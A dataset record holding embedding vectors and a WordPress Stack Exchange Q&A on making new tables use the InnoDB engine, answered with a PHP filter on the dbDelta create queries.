0.0033168792724609375,
-0.0192718505859375,
0.005176544189453125,
-0.0006699562072753906,
0.0080413818359375,
-0.0174407958984375,
0.0147247314453125,
-0.04779052734375,
-0.010284423828125,
0.00691986083984375,
-0.00005525350570678711,
-0.01557159423828125,
0.017486572265625,
0.031341552734375,
0.01259613037109375,
-0.00713348388671875,
-0.031402587890625,
0.047149658203125,
0.01483917236328125,
-0.06951904296875,
0.034027099609375,
0.04620361328125,
0.087890625,
-0.0126190185546875,
0.020599365234375,
0.06536865234375,
0.0272979736328125,
-0.0152587890625,
-0.0275421142578125,
0.00933074951171875,
-0.0291290283203125,
-0.00897979736328125,
-0.0391845703125,
-0.0034122467041015625,
0.062255859375,
0.03570556640625,
0.01422119140625,
0.019195556640625,
-0.02825927734375,
-0.060028076171875,
0.033660888671875,
-0.03741455078125,
0.045989990234375,
-0.0623779296875,
-0.02978515625,
0.026214599609375,
-0.043701171875,
-0.0212554931640625,
0.0565185546875,
0.01666259765625,
0.02777099609375,
-0.011322021484375,
0.0193939208984375,
0.005176544189453125,
0.02154541015625,
0.032196044921875,
-0.01666259765625,
-0.0009503364562988281,
0.02685546875,
0.0216522216796875,
-0.015869140625,
-0.01094818115234375,
-0.0219268798828125,
-0.0306243896484375,
0.0178375244140625,
-0.0947265625,
0.028717041015625,
0.004680633544921875,
0.00640869140625,
-0.043426513671875,
-0.0022411346435546875,
-0.00785064697265625,
-0.00931549072265625,
0.004878997802734375,
0.030181884765625,
0.040924072265625,
0.04693603515625,
0.0242462158203125,
-0.0010166168212890625,
0.0992431640625,
0.0146026611328125,
0.032257080078125,
-0.031463623046875,
0.006725311279296875,
0.02972412109375,
-0.0161285400390625,
0.0016422271728515625,
0.0236663818359375,
-0.06103515625,
0.017059326171875,
0.03692626953125,
-0.0036334991455078125,
0.0227813720703125,
-0.006641387939453125,
-0.0029315948486328125,
-0.01204681396484375,
-0.035552978515625,
-0.016510009765625,
-0.027862548828125,
0.034820556640625,
0.012481689453125,
0.0219879150390625,
0.0145721435546875,
-0.04095458984375,
0.031646728515625,
0.019012451171875,
-0.020904541015625,
0.003345489501953125,
0.04522705078125,
0.0236663818359375,
0.0321044921875,
-0.0205535888671875,
-0.02032470703125,
0.032257080078125,
0.032440185546875,
-0.01384735107421875,
0.029815673828125,
0.0167236328125,
-0.0166778564453125,
0.005855560302734375,
-0.0008087158203125,
0.01558685302734375,
-0.014129638671875,
-0.017669677734375,
-0.01280975341796875,
-0.01021575927734375,
0.08026123046875,
-0.006557464599609375,
0.021148681640625,
0.0191192626953125,
0.0237274169921875,
0.0169677734375,
-0.053070068359375,
0.05126953125,
-0.06695556640625,
0.020263671875,
0.046630859375,
-0.063720703125,
0.05145263671875,
0.01025390625,
-0.0045013427734375,
-0.0357666015625,
0.00785064697265625,
-0.0016937255859375,
0.01715087890625,
-0.07379150390625,
0.02423095703125,
0.01084136962890625,
0.0843505859375,
-0.031524658203125,
-0.051910400390625,
-0.00047397613525390625,
0.031646728515625,
-0.0201873779296875,
-0.0126953125,
0.007480621337890625,
-0.01108551025390625,
0.0298614501953125,
0.0034656524658203125,
0.0030269622802734375,
-0.0230712890625,
0.0204010009765625,
0.009490966796875,
0.03955078125,
0.00943756103515625,
-0.0222015380859375,
0.033111572265625,
-0.042449951171875,
0.034759521484375,
0.004131317138671875,
0.00347137451171875,
0.007244110107421875,
0.050750732421875,
0.017730712890625,
-0.051849365234375,
0.016082763671875,
0.021759033203125,
-0.03192138671875,
0.006191253662109375,
0.0069580078125,
-0.0731201171875,
-0.054718017578125,
-0.006572723388671875,
-0.006076812744140625,
-0.01447296142578125,
0.0244293212890625,
0.0082855224609375,
-0.0240631103515625,
0.01004791259765625,
0.0262908935546875,
0.0207366943359375,
0.0102081298828125,
0.0188140869140625,
0.046844482421875,
-0.020263671875,
0.00647735595703125,
-0.0243377685546875,
-0.033447265625,
-0.005985260009765625,
0.0087127685546875,
-0.0003230571746826172,
-0.03228759765625,
0.03106689453125,
0.031524658203125,
0.01458740234375,
0.030181884765625,
-0.005176544189453125,
0.005840301513671875,
0.0138702392578125,
0.0380859375,
-0.026153564453125,
0.003749847412109375,
-0.02545166015625,
0.007091522216796875,
0.0097808837890625,
0.0180816650390625,
-0.005779266357421875,
0.05029296875,
0.01024627685546875,
-0.051910400390625,
0.063720703125,
0.0079498291015625,
0.0293121337890625,
-0.039825439453125,
-0.0421142578125,
-0.0026798248291015625,
0.10888671875,
-0.06689453125,
-0.01042938232421875,
-0.0041046142578125,
-0.006473541259765625,
0.076171875,
-0.00518798828125,
-0.032958984375,
-0.048187255859375,
-0.11981201171875,
0.04364013671875,
-0.01474761962890625,
-0.0149688720703125,
-0.0194854736328125,
-0.05010986328125,
-0.06689453125,
-0.057159423828125,
0.02838134765625,
0.01849365234375,
0.034210205078125,
-0.03399658203125,
-0.0006093978881835938,
-0.0202789306640625,
-0.01239776611328125,
-0.0106658935546875,
-0.0401611328125,
-0.009521484375,
0.006343841552734375,
0.01557159423828125,
0.01416015625,
-0.048583984375,
-0.0210418701171875,
0.00620269775390625,
-0.0341796875,
0.032073974609375,
-0.0218505859375,
0.0198516845703125,
0.0045623779296875,
0.0275115966796875,
-0.007366180419921875,
-0.0030231475830078125,
0.00003546476364135742,
0.031402587890625,
0.015777587890625,
0.0733642578125,
-0.0350341796875,
-0.016265869140625,
-0.020111083984375,
-0.03997802734375,
-0.060699462890625,
-0.035919189453125,
-0.0308837890625,
0.0012426376342773438,
-0.022552490234375,
-0.007152557373046875,
-0.034759521484375,
-0.059356689453125,
0.0231170654296875,
0.0093231201171875,
-0.034698486328125,
0.00353240966796875,
0.041595458984375,
0.0221099853515625,
-0.0262603759765625,
-0.0243072509765625,
0.00199127197265625,
0.04095458984375,
-0.0078125,
0.058074951171875,
0.017364501953125,
-0.0253753662109375,
0.07745361328125,
0.0006194114685058594,
0.0032062530517578125,
-0.061126708984375,
0.06414794921875,
0.0008602142333984375,
0.0305633544921875,
-0.0006585121154785156,
0.0038547515869140625,
0.047210693359375,
-0.0101318359375,
-0.040191650390625,
0.0009102821350097656,
0.0086212158203125,
0.04876708984375,
-0.01493072509765625,
0.026214599609375,
-0.053680419921875,
-0.0197906494140625,
-0.003520965576171875,
0.06195068359375,
0.03192138671875,
0.022369384765625,
0.0009570121765136719,
0.0079803466796875,
0.038299560546875,
0.031463623046875,
-0.018707275390625,
0.01308441162109375,
-0.0218505859375,
0.07330322265625,
-0.040771484375,
0.0158843994140625,
-0.02099609375,
-0.0096282958984375,
0.0058135986328125,
0.0064239501953125,
-0.0303497314453125,
0.01486968994140625,
0.0010776519775390625,
-0.045257568359375,
0.01306915283203125,
-0.0144195556640625,
0.05419921875,
0.05230712890625,
-0.0171356201171875,
-0.0030155181884765625,
-0.037567138671875,
0.028778076171875,
-0.048187255859375,
-0.014495849609375,
-0.033843994140625,
-0.00849151611328125,
0.0268096923828125,
-0.01038360595703125,
-0.0972900390625,
0.051025390625,
0.0177459716796875,
-0.0037384033203125,
0.043182373046875,
-0.0135650634765625,
0.040313720703125,
-0.0292205810546875,
-0.0026950836181640625,
-0.006160736083984375,
0.03460693359375,
-0.0256805419921875,
-0.00519561767578125,
0.0012884140014648438,
0.0009613037109375,
-0.030059814453125,
-0.016693115234375,
0.0562744140625,
0.0265655517578125,
-0.01125335693359375,
0.0013570785522460938,
0.004669189453125,
0.00836944580078125,
-0.042266845703125,
-0.03314208984375,
0.02362060546875,
0.036834716796875,
-0.011199951171875,
-0.0318603515625,
0.002410888671875,
-0.0195770263671875,
-0.0029659271240234375,
-0.05047607421875,
0.00406646728515625,
0.00867462158203125,
-0.00962066650390625,
-0.01151275634765625,
-0.0093994140625,
-0.073486328125,
-0.054473876953125,
0.015167236328125,
0.0161285400390625,
0.020172119140625,
-0.033782958984375,
0.02886962890625,
-0.020416259765625,
0.00800323486328125,
-0.016387939453125,
-0.001560211181640625,
0.061370849609375,
0.04791259765625,
-0.07342529296875,
0.032501220703125,
-0.01654052734375,
0.01042938232421875,
0.036163330078125,
-0.00292205810546875,
-0.038543701171875,
-0.052001953125,
-0.0192718505859375,
0.042449951171875,
0.004634857177734375,
0.0119781494140625,
-0.0012149810791015625,
-0.02618408203125,
-0.03765869140625,
0.0187225341796875,
-0.0024662017822265625,
0.02386474609375,
-0.007228851318359375,
0.0435791015625,
0.004123687744140625,
0.00305938720703125,
-0.0007386207580566406,
-0.036468505859375,
0.0316162109375,
-0.0076904296875,
-0.05194091796875,
-0.00377655029296875,
-0.05316162109375,
-0.01001739501953125,
0.030792236328125,
-0.0218353271484375,
0.005397796630859375,
-0.00408172607421875,
-0.01007080078125,
-0.0007128715515136719,
0.0019235610961914062,
0.005092620849609375,
-0.0184173583984375,
0.0013093948364257812,
-0.012786865234375,
0.00505828857421875,
-0.0192108154296875,
-0.004909515380859375,
0.027984619140625,
-0.0126800537109375,
0.016143798828125,
-0.0053558349609375,
0.00539398193359375,
0.064697265625,
0.055938720703125,
-0.051300048828125,
0.0028533935546875,
0.0543212890625,
-0.019195556640625,
0.0003445148468017578,
-0.01088714599609375,
0.06793212890625,
-0.0081024169921875,
0.061553955078125,
-0.020416259765625,
-0.03985595703125,
0.0253753662109375,
-0.053192138671875,
0.006244659423828125,
0.035064697265625,
0.03839111328125,
-0.0484619140625,
-0.003108978271484375,
0.0198822021484375,
-0.00818634033203125,
-0.005565643310546875,
-0.00186920166015625,
-0.0134735107421875,
-0.045196533203125,
0.02191162109375,
0.0295867919921875,
-0.01324462890625,
0.019989013671875,
0.0250091552734375,
0.0008645057678222656,
0.00511932373046875,
0.033966064453125,
-0.004863739013671875,
-0.0243377685546875,
-0.038177490234375,
0.0172882080078125,
-0.01702880859375,
-0.0179290771484375,
0.0277252197265625,
-0.018280029296875,
-0.02935791015625,
-0.040008544921875,
-0.006435394287109375,
-0.0024471282958984375,
-0.01409912109375,
0.01006317138671875,
-0.0283203125,
0.0350341796875,
0.052459716796875,
-0.031951904296875,
0.0189666748046875,
0.031402587890625,
-0.0185089111328125,
0.0216064453125,
-0.0216217041015625,
-0.01192474365234375,
0.0621337890625,
-0.0693359375,
0.01465606689453125,
-0.003124237060546875,
0.01450347900390625,
-0.005229949951171875,
-0.0271148681640625,
0.054351806640625,
-0.03662109375,
-0.00986480712890625,
0.0032482147216796875,
0.013519287109375,
0.0013513565063476562,
0.01824951171875,
0.00910186767578125,
-0.0287628173828125,
-0.036285400390625,
0.01178741455078125,
-0.06402587890625,
-0.02911376953125,
-0.010101318359375,
-0.0841064453125,
0.046539306640625,
0.01059722900390625,
0.03509521484375,
-0.01041412353515625,
0.012969970703125,
-0.0080108642578125,
-0.003368377685546875,
-0.04583740234375,
0.042724609375,
0.047943115234375,
0.05902099609375,
-0.00505828857421875,
-0.0153961181640625,
0.04864501953125,
0.037109375,
0.00815582275390625,
0.00818634033203125,
-0.000031888484954833984,
0.003513336181640625,
0.048736572265625,
-0.01152801513671875,
-0.0245208740234375,
0.054412841796875,
-0.017974853515625,
0.035247802734375,
0.037200927734375,
-0.035980224609375,
0.034820556640625,
-0.0164794921875,
-0.025360107421875,
0.01247406005859375,
-0.0029850006103515625,
-0.0059814453125,
0.0226898193359375,
0.02044677734375,
-0.012969970703125,
0.0051727294921875,
0.005893707275390625,
-0.020050048828125,
-0.03692626953125,
0.05810546875,
0.03472900390625,
-0.08929443359375,
-0.0487060546875,
-0.031341552734375,
0.03887939453125,
0.0161895751953125,
0.05853271484375,
0.048858642578125,
0.0268707275390625,
0.0784912109375,
0.002288818359375,
0.039459228515625,
0.032928466796875,
-0.0278778076171875,
0.005420684814453125,
-0.0106658935546875,
0.01473236083984375,
-0.042144775390625,
0.012481689453125,
0.030029296875,
0.0240936279296875,
-0.02679443359375,
-0.021942138671875,
0.0073089599609375,
0.004207611083984375,
-0.004062652587890625,
-0.015411376953125,
0.00290679931640625,
-0.01561737060546875,
0.01311492919921875,
-0.04071044921875,
0.005550384521484375,
0.0270538330078125,
0.065185546875,
-0.02203369140625,
-0.0217742919921875,
-0.060150146484375,
-0.00913238525390625,
-0.0225830078125,
0.0024509429931640625,
0.01580810546875,
0.06268310546875,
-0.0004050731658935547,
0.059112548828125,
-0.07891845703125,
-0.0285186767578125,
-0.012969970703125,
-0.0032825469970703125,
-0.04254150390625,
0.021759033203125,
-0.060211181640625,
-0.039520263671875,
0.006984710693359375,
0.055938720703125,
0.0243988037109375,
-0.00861358642578125,
0.044921875,
0.0171051025390625,
-0.037445068359375,
-0.0098876953125,
0.027099609375,
-0.0290679931640625,
-0.0215301513671875,
-0.039093017578125,
-0.0150909423828125,
0.0142822265625,
-0.006214141845703125,
-0.01806640625,
0.00830841064453125,
0.0280914306640625,
-0.0626220703125,
0.022979736328125,
-0.0162506103515625,
-0.04754638671875,
-0.005657196044921875,
-0.002407073974609375,
0.047607421875,
-0.034881591796875,
-0.05975341796875,
0.0029392242431640625,
-0.0261383056640625,
-0.07318115234375,
0.04205322265625,
0.058837890625,
-0.00603485107421875,
-0.0105743408203125,
0.01157379150390625,
-0.03875732421875,
-0.0215911865234375,
0.055511474609375,
0.005954742431640625,
-0.04052734375,
0.005992889404296875,
-0.03515625,
-0.0224761962890625,
-0.000362396240234375,
-0.011962890625,
0.03265380859375,
0.043212890625,
0.04107666015625,
-0.0029087066650390625,
0.03045654296875,
0.015045166015625,
0.0025806427001953125,
-0.003856658935546875,
-0.0030803680419921875,
0.054229736328125,
-0.0186614990234375,
-0.0178375244140625,
-0.0257415771484375,
-0.015777587890625,
-0.0172882080078125,
0.051605224609375,
-0.024383544921875,
0.01232147216796875,
-0.03582763671875,
0.0279388427734375,
-0.03009033203125,
0.04486083984375,
-0.0193023681640625,
-0.0234527587890625,
-0.0316162109375,
-0.013763427734375,
0.02960205078125,
0.027679443359375,
0.02423095703125,
-0.01149749755859375,
0.058746337890625,
-0.016693115234375,
0.035125732421875,
0.02874755859375,
0.058563232421875,
0.0263214111328125,
0.0118255615234375,
0.0120086669921875,
-0.005359649658203125,
-0.018035888671875,
0.0272216796875,
0.00820159912109375,
0.0012769699096679688,
0.01218414306640625,
-0.05828857421875,
-0.0156402587890625,
-0.00995635986328125,
0.0311279296875,
-0.0069580078125,
0.005725860595703125,
-0.0231781005859375,
-0.0038051605224609375,
-0.00395965576171875,
0.01535797119140625,
-0.0173492431640625,
-0.00807952880859375,
-0.007457733154296875,
-0.0028934478759765625,
0.0180816650390625,
-0.020172119140625,
-0.012939453125,
-0.01544952392578125,
0.031890869140625,
0.0224456787109375,
-0.04315185546875,
0.02655029296875,
-0.0004305839538574219,
-0.0073394775390625,
0.03271484375,
0.04095458984375,
-0.028411865234375,
-0.032470703125,
-0.048492431640625,
-0.04052734375,
-0.03619384765625,
0.0665283203125,
-0.0116729736328125,
0.004425048828125,
0.030303955078125,
-0.0163726806640625,
-0.01091766357421875,
0.036895751953125,
-0.0035419464111328125,
0.07257080078125,
-0.02874755859375,
-0.0226898193359375,
0.0173492431640625,
-0.00016498565673828125,
-0.032440185546875,
-0.02874755859375,
0.0298919677734375,
-0.0273284912109375,
-0.01448822021484375,
0.042083740234375,
-0.042205810546875,
0.0012798309326171875,
-0.045440673828125,
-0.108154296875,
0.0312347412109375,
0.0018291473388671875,
-0.059326171875,
-0.04376220703125,
0.0303802490234375,
0.019622802734375,
-0.042816162109375,
-0.0145416259765625,
-0.005664825439453125,
-0.0328369140625,
-0.0059967041015625,
0.01251220703125,
0.0114593505859375,
0.01201629638671875,
0.033782958984375,
0.00457000732421875,
0.0399169921875,
0.0265350341796875,
-0.0260467529296875,
-0.000247955322265625,
-0.02166748046875,
0.045501708984375,
0.0167388916015625,
-0.030364990234375,
0.00518798828125,
0.0308990478515625,
-0.02838134765625,
0.0265655517578125,
-0.05059814453125,
-0.06365966796875,
-0.04632568359375,
0.0859375,
0.01800537109375,
0.032989501953125,
0.00943756103515625,
-0.0190887451171875,
0.0164947509765625,
-0.007678985595703125,
0.0014047622680664062,
0.0107879638671875,
-0.036102294921875,
-0.024658203125,
-0.0300140380859375,
-0.006633758544921875,
-0.00141143798828125,
-0.0229949951171875,
-0.02349853515625,
-0.0082244873046875,
-0.0097808837890625,
0.014007568359375,
-0.0313720703125,
-0.010467529296875,
-0.001186370849609375,
-0.0031585693359375,
0.017608642578125,
-0.0184326171875,
0.021759033203125,
0.013916015625,
0.002246856689453125,
-0.0237579345703125,
0.008148193359375,
0.01201629638671875,
0.016510009765625,
0.0225067138671875,
0.035614013671875,
0.0058135986328125,
0.0192108154296875,
-0.032867431640625,
0.01727294921875,
0.0308990478515625,
0.002105712890625,
-0.02325439453125,
0.0160064697265625,
0.0298614501953125,
0.0227813720703125,
-0.0264434814453125,
0.05120849609375,
-0.006824493408203125,
0.0264434814453125,
-0.017578125,
-0.007236480712890625,
0.032135009765625,
-0.05584716796875,
0.01039886474609375,
0.0270233154296875,
0.03497314453125,
-0.0149993896484375,
0.03985595703125,
0.00020635128021240234,
0.01367950439453125,
0.01123046875
] |
2101916abb84bc6702264ca6e9be7c79be023186
|
Wordpress Stackexchange
Q: Can I explicitly specify ENGINE=InnoDB in Wordpress? I converted all my tables to InnoDB, but the MySQL server (which I can't access, as I'm on shared hosting) has MyISAM as the default, so every new table that Wordpress creates (e.g. when I add a new site on my multisite) uses the MyISAM engine and I have to alter it manually. Can I somehow set Wordpress up to enforce the InnoDB engine when creating new tables?
I know that by default Wordpress doesn't specify anything and lets the table use the default engine, but I'm wondering if there is some plugin where I could add the
ENGINE=InnoDB
clause to all the CREATE TABLE queries.
A: If the code creating new tables uses dbDelta() (it should), you can filter the query (see wp-admin/includes/upgrade.php):
add_filter( 'dbdelta_create_queries', function( Array $queries )
{
foreach ( $queries as $table => $query )
{
if ( FALSE !== stripos( $query, 'CREATE TABLE' ) )
{
// change the query here
}
}
return $queries;
});
|
Q: Can I explicitly specify ENGINE=InnoDB in Wordpress? I converted all my tables to InnoDB, but the MySQL server (which I can't access, as I'm on shared hosting) has MyISAM as the default, so every new table that Wordpress creates (e.g. when I add a new site on my multisite) uses the MyISAM engine and I have to alter it manually. Can I somehow set Wordpress up to enforce the InnoDB engine when creating new tables?
I know that by default Wordpress doesn't specify anything and lets the table use the default engine, but I'm wondering if there is some plugin where I could add the
ENGINE=InnoDB
clause to all the CREATE TABLE queries.
A: If the code creating new tables uses dbDelta() (it should), you can filter the query (see wp-admin/includes/upgrade.php):
add_filter( 'dbdelta_create_queries', function( Array $queries )
{
foreach ( $queries as $table => $query )
{
if ( FALSE !== stripos( $query, 'CREATE TABLE' ) )
{
// change the query here
}
}
return $queries;
});
|
wordpress
|
{
"language": "en",
"length": 169,
"provenance": "stackexchange_00019.jsonl.gz:436517",
"question_score": "3",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/112384"
}
|
[
0.0270538330078125,
0.042816162109375,
-0.01172637939453125,
0.0168914794921875,
0.0401611328125,
-0.045440673828125,
0.0633544921875,
-0.050506591796875,
0.01202392578125,
0.00971221923828125,
-0.041961669921875,
0.01311492919921875,
-0.002170562744140625,
-0.01084136962890625,
-0.0006213188171386719,
-0.02685546875,
0.03887939453125,
-0.039459228515625,
-0.0012683868408203125,
-0.00811767578125,
0.01248931884765625,
0.01226043701171875,
0.00601959228515625,
0.016448974609375,
0.045196533203125,
-0.08160400390625,
0.1007080078125,
-0.0194091796875,
0.0648193359375,
-0.0025463104248046875,
0.0316162109375,
-0.045806884765625,
0.013519287109375,
0.0230712890625,
-0.0253753662109375,
0.0226593017578125,
0.00347137451171875,
0.0129852294921875,
-0.0032291412353515625,
0.047637939453125,
0.0283355712890625,
-0.02105712890625,
0.018707275390625,
-0.0299224853515625,
-0.0223541259765625,
-0.01325225830078125,
0.050140380859375,
0.0101318359375,
-0.0002276897430419922,
-0.025634765625,
-0.0149383544921875,
0.07086181640625,
0.00667572021484375,
-0.04296875,
0.01861572265625,
0.0141143798828125,
0.0035381317138671875,
-0.043212890625,
-0.0089874267578125,
0.02618408203125,
0.0217132568359375,
0.0175323486328125,
-0.001644134521484375,
0.0071868896484375,
-0.013427734375,
0.009857177734375,
0.036041259765625,
0.01349639892578125,
0.000804901123046875,
-0.0164031982421875,
-0.0141448974609375,
0.009765625,
-0.032440185546875,
-0.00234222412109375,
-0.012603759765625,
0.01145172119140625,
0.031463623046875,
-0.005504608154296875,
-0.01288604736328125,
0.0462646484375,
0.0255889892578125,
0.00803375244140625,
-0.029571533203125,
-0.036346435546875,
0.046142578125,
-0.00005918741226196289,
-0.0027217864990234375,
-0.0244903564453125,
-0.036468505859375,
-0.0081787109375,
-0.026458740234375,
-0.064453125,
-0.01277923583984375,
0.005931854248046875,
0.0020008087158203125,
-0.0162353515625,
-0.00592041015625,
0.014984130859375,
0.004241943359375,
0.0323486328125,
0.0181884765625,
-0.045135498046875,
0.0750732421875,
-0.04144287109375,
0.0032196044921875,
0.03656005859375,
-0.0154266357421875,
-0.010040283203125,
0.0233917236328125,
0.0193634033203125,
0.01384735107421875,
-0.0017633438110351562,
0.003093719482421875,
0.004058837890625,
-0.04107666015625,
0.0017499923706054688,
-0.01474761962890625,
-0.0254364013671875,
-0.023773193359375,
-0.01190185546875,
0.00270843505859375,
0.018218994140625,
-0.024932861328125,
-0.0121612548828125,
0.00856781005859375,
-0.0113525390625,
-0.00505828857421875,
-0.0017328262329101562,
-0.06134033203125,
0.0125885009765625,
-0.0333251953125,
0.0283660888671875,
0.1260986328125,
0.057342529296875,
0.003376007080078125,
0.0011415481567382812,
0.0238494873046875,
-0.0249786376953125,
0.0007710456848144531,
0.0155792236328125,
0.03173828125,
-0.042572021484375,
-0.015594482421875,
0.0075531005859375,
0.0007381439208984375,
0.0195770263671875,
0.041015625,
0.0178375244140625,
-0.0236358642578125,
-0.040740966796875,
-0.021942138671875,
0.038787841796875,
0.0287017822265625,
-0.007022857666015625,
-0.005222320556640625,
-0.0257110595703125,
-0.0098114013671875,
-0.0144195556640625,
-0.01085662841796875,
-0.0080718994140625,
-0.044189453125,
0.004497528076171875,
0.065185546875,
-0.03961181640625,
-0.0194244384765625,
-0.01192474365234375,
-0.0433349609375,
-0.0025653839111328125,
0.0159454345703125,
-0.037109375,
-0.03839111328125,
-0.0157012939453125,
0.07916259765625,
0.00875091552734375,
-0.005100250244140625,
0.042938232421875,
-0.00978851318359375,
-0.026092529296875,
0.044525146484375,
0.067626953125,
0.029022216796875,
0.0010328292846679688,
0.04449462890625,
0.00809478759765625,
-0.06536865234375,
0.0306243896484375,
0.00811004638671875,
0.07379150390625,
0.0236663818359375,
0.00811004638671875,
0.037811279296875,
-0.01080322265625,
-0.06488037109375,
0.05712890625,
-0.004486083984375,
-0.040313720703125,
-0.0250396728515625,
-0.0184783935546875,
-0.011871337890625,
-0.017486572265625,
0.0274658203125,
0.01462554931640625,
-0.017791748046875,
-0.005870819091796875,
-0.08453369140625,
0.01030731201171875,
-0.026641845703125,
0.02752685546875,
0.034637451171875,
0.025970458984375,
-0.00418853759765625,
0.0034847259521484375,
-0.007526397705078125,
0.00894927978515625,
-0.0269012451171875,
0.0036640167236328125,
-0.008544921875,
0.059783935546875,
-0.01187896728515625,
0.057220458984375,
-0.01168060302734375,
-0.053131103515625,
0.008514404296875,
0.01806640625,
0.002685546875,
-0.033966064453125,
-0.0011234283447265625,
-0.00902557373046875,
0.048919677734375,
0.0105743408203125,
0.0214996337890625,
-0.014678955078125,
0.006317138671875,
0.037078857421875,
-0.01434326171875,
-0.01506805419921875,
0.01381683349609375,
-0.04486083984375,
0.0201873779296875,
0.0389404296875,
0.0205230712890625,
-0.0289764404296875,
-0.0281219482421875,
0.010101318359375,
-0.062164306640625,
-0.031585693359375,
0.0321044921875,
-0.00778961181640625,
0.01558685302734375,
0.0281524658203125,
-0.0092926025390625,
-0.0181427001953125,
0.005298614501953125,
-0.053131103515625,
-0.0058746337890625,
0.028900146484375,
-0.00875091552734375,
0.002201080322265625,
-0.0031890869140625,
0.007122039794921875,
-0.0002923011779785156,
-0.022552490234375,
-0.0183563232421875,
-0.008331298828125,
-0.00980377197265625,
0.022705078125,
0.031280517578125,
0.02532958984375,
-0.000032007694244384766,
-0.00005799531936645508,
-0.0029087066650390625,
-0.01297760009765625,
0.0019044876098632812,
0.0096588134765625,
-0.0266265869140625,
0.045928955078125,
-0.04669189453125,
0.00795745849609375,
0.045196533203125,
0.0203399658203125,
-0.00830078125,
0.0171051025390625,
-0.020111083984375,
-0.0090484619140625,
0.009246826171875,
-0.0362548828125,
-0.00620269775390625,
-0.0034389495849609375,
-0.0343017578125,
-0.03973388671875,
0.0156097412109375,
-0.007465362548828125,
-0.052001953125,
0.01187896728515625,
-0.02197265625,
-0.046417236328125,
-0.01500701904296875,
-0.01800537109375,
0.033294677734375,
-0.035858154296875,
0.00829315185546875,
0.056396484375,
-0.01654052734375,
0.00724029541015625,
0.0013284683227539062,
-0.00644683837890625,
0.0244293212890625,
-0.0036296844482421875,
-0.02490234375,
0.0096588134765625,
-0.07037353515625,
-0.0166015625,
0.020782470703125,
0.042022705078125,
0.0020503997802734375,
-0.039703369140625,
-0.018310546875,
0.038360595703125,
-0.041473388671875,
-0.0255584716796875,
-0.0024280548095703125,
0.01399993896484375,
0.0138092041015625,
-0.0202178955078125,
0.019775390625,
-0.01013946533203125,
-0.02850341796875,
-0.006160736083984375,
0.00036215782165527344,
-0.026519775390625,
-0.0273895263671875,
-0.05255126953125,
-0.056976318359375,
-0.03582763671875,
-0.0012140274047851562,
0.01016998291015625,
-0.01216888427734375,
0.051544189453125,
-0.00501251220703125,
-0.0221099853515625,
-0.038787841796875,
0.0176849365234375,
-0.0036792755126953125,
-0.05413818359375,
0.02239990234375,
-0.056182861328125,
-0.0199432373046875,
-0.010986328125,
0.0355224609375,
0.032379150390625,
-0.021575927734375,
0.0261688232421875,
0.00994110107421875,
0.049224853515625,
0.0147857666015625,
-0.0121002197265625,
-0.0015840530395507812,
0.004695892333984375,
-0.0291900634765625,
-0.0570068359375,
0.005443572998046875,
-0.0009489059448242188,
-0.0247039794921875,
-0.0244903564453125,
-0.005584716796875,
-0.0120697021484375,
-0.017547607421875,
0.0023670196533203125,
0.045989990234375,
0.0215911865234375,
0.031463623046875,
0.0005517005920410156,
-0.0233917236328125,
0.01263427734375,
0.01421356201171875,
-0.0311431884765625,
0.0450439453125,
-0.0220489501953125,
-0.046875,
0.02239990234375,
0.0171661376953125,
0.0380859375,
-0.0633544921875,
-0.006633758544921875,
-0.04052734375,
0.0125732421875,
-0.04852294921875,
0.027130126953125,
-0.03271484375,
0.0034847259521484375,
-0.01230621337890625,
0.068359375,
0.032501220703125,
-0.016387939453125,
-0.01412200927734375,
0.004215240478515625,
-0.05218505859375,
-0.003814697265625,
-0.02288818359375,
0.0032711029052734375,
0.002288818359375,
-0.0203094482421875,
-0.00968170166015625,
-0.01229095458984375,
-0.005462646484375,
0.004734039306640625,
0.0283966064453125,
-0.0179901123046875,
0.047088623046875,
-0.01070404052734375,
0.00634002685546875,
0.049407958984375,
0.003902435302734375,
0.003147125244140625,
-0.027374267578125,
-0.0017261505126953125,
-0.119873046875,
-0.0310516357421875,
-0.04736328125,
0.09466552734375,
0.0283966064453125,
-0.0200958251953125,
-0.00490570068359375,
0.07598876953125,
0.0125579833984375,
0.0281829833984375,
-0.004741668701171875,
0.0142669677734375,
-0.032623291015625,
-0.0228729248046875,
0.02294921875,
-0.051483154296875,
-0.006351470947265625,
-0.01873779296875,
-0.007843017578125,
0.0255889892578125,
-0.0236053466796875,
0.01026153564453125,
-0.00986480712890625,
-0.0133819580078125,
-0.03179931640625,
-0.061676025390625,
-0.004970550537109375,
0.0229034423828125,
-0.034454345703125,
0.03265380859375,
-0.07366943359375,
-0.0318603515625,
0.0726318359375,
-0.0305023193359375,
0.027252197265625,
-0.01416015625,
0.096435546875,
0.006694793701171875,
-0.0254974365234375,
0.016448974609375,
-0.01392364501953125,
0.0243682861328125,
0.005512237548828125,
0.037933349609375,
0.00760650634765625,
-0.01496124267578125,
0.0706787109375,
0.0115814208984375,
-0.0295257568359375,
-0.02862548828125,
0.02130126953125,
0.00907135009765625,
-0.024658203125,
0.022918701171875,
-0.038360595703125,
0.06414794921875,
0.037872314453125,
0.01082611083984375,
0.010589599609375,
-0.0024890899658203125,
0.01107025146484375,
0.028533935546875,
-0.05975341796875,
-0.04730224609375,
-0.0308074951171875,
0.0261077880859375,
-0.03570556640625,
0.031280517578125,
-0.0013017654418945312,
0.0018129348754882812,
0.019561767578125,
-0.016448974609375,
0.0163726806640625,
0.048858642578125,
0.054229736328125,
0.00478363037109375,
0.055511474609375,
0.039794921875,
0.00658416748046875,
-0.0187835693359375,
-0.0207366943359375,
0.052734375,
-0.0012388229370117188,
-0.044281005859375,
0.033233642578125,
-0.017791748046875,
-0.010040283203125,
0.022857666015625,
-0.0360107421875,
0.02630615234375,
0.0223846435546875,
-0.031524658203125,
-0.025787353515625,
-0.040008544921875,
-0.023101806640625,
-0.041259765625,
0.0070953369140625,
-0.01226806640625,
0.007022857666015625,
0.02734375,
0.00788116455078125,
-0.006458282470703125,
0.01409912109375,
-0.0153350830078125,
0.047393798828125,
0.0158843994140625,
0.045166015625,
0.0025539398193359375,
0.004436492919921875,
-0.0021228790283203125,
0.0241241455078125,
-0.005481719970703125,
-0.044708251953125,
0.0213165283203125,
0.0183258056640625,
0.040740966796875,
-0.0086212158203125,
-0.041412353515625,
0.0282745361328125,
-0.034912109375,
-0.004467010498046875,
-0.01715087890625,
-0.0236968994140625,
-0.0004367828369140625,
-0.00861358642578125,
-0.035003662109375,
0.00475311279296875,
-0.006011962890625,
-0.0080718994140625,
0.0013723373413085938,
0.012054443359375,
0.06439208984375,
-0.0177459716796875,
0.00885009765625,
